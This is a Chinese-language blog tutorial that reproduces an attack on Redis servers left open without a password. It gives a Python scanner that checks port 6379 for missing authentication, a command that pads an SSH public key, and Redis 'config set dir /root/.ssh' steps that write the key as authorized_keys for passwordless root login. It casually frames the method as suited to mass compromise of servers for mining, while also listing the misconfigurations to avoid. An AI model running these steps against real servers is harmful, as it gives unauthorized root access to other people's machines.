Kali利用Redis未授权漏洞入侵服务器

前言

最近在学Redis,学习的过程中看到网上爆出 黑客入侵服务器实现批量挖矿
这nb的操作就是靠着redis这个跳板。
本文原地址:http://www.blog.lisok.cn/?id=34,欢迎访问,说不定能解决你的其他问题

简单分析一下整个流程,批量入侵,使用redis未授权访问漏洞。

  1. 首先要有入侵的一些服务器地址,然后根据Redis的组件指纹去判断是否存在这个漏洞,也就是 6379 端口的开放情况。

  2. 写个脚本 尝试使用socket连接服务器的6379 进行获取数据,能否得到希望的响应,可以得到以下结果

    • 存在其他服务占用了6379,只得放弃该鸡 hhh,大批量入侵并不在乎这只
    • 需要授权,不用说,更得放弃
    • nil 或者查到具体数据 ,这就是我们心仪的目标 φ(* ̄0 ̄)
  3. 生成ssh公钥,拷贝到目标服务器的/root/.ssh

  4. ssh连接

铺垫

整个入侵的过程还是比较 理想化的,也就是说很少能碰到这么不安全的服务器 hhh,

一般被入侵服务器有以下几个缺陷:

  1. 服务器的防火墙被关闭 这是第一重防御

  2. redis的配置文件中 允许远程连接 和 不绑定IP

  3. redis 未设置密码

  4. 使用默认指纹,也就是默认端口号6379

所以各位引以为戒,避免产生以上的缺陷。

入侵复现

  1. 先准备服务器(左侧被入侵机器) 和 攻击端(右侧Kali系统)

两个都要安装Redis,其中
左侧IP : 192.168.41.130
右侧IP : 192.168.41.129

  1. 写Py脚本 探测一下目标服务器是否开放6379,以及是否为redis绑定该端口、Redis是否设置密码。

如果运行返回true可以进行下一步,若不能请判断是否满足上文分析的缺陷。

from socket import socket, AF_INET, SOCK_STREAM

s = socket(AF_INET, SOCK_STREAM)
s.settimeout(10)
# 元组 (目标ip,端口)
s.connect(('192.168.41.130', 6379))
s.send('GET 1\r\n'.encode())
data = s.recv(20)
s.close()
if '-NOAUTH'.encode() in data:
    print('No')
else:
    print('yes')
  1. Kali上场!在攻击端生成ssh公私密钥
$ (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt

处理(头和尾拼接两个换行)一下公钥,存为新文件1.txt,这是我们将要放置在被攻击端的公钥。

  1. Kali尝试连接服务器的Redis服务


成功连接,接下来将之前的1.txt的内容作为数据存入 Redis

成功存入,接下来要做的事就是让被攻击端 将公钥作为authorized_keys 存储在/root/.ssh中,实现我们免密登录

  1. 首先 修改Redis默认文件存储的位置
192.168.41.130:6379> config get dir
1) "dir"
2) "/opt/app/redis/bin"
192.168.41.130:6379> config set dir /root/.ssh
OK

修改成功,然后设置要保存的文件名为:authorized_keys

到这步 已经稳了,尝试免密连接!

成功获得root权限,撒花 φ(゜▽゜*)♪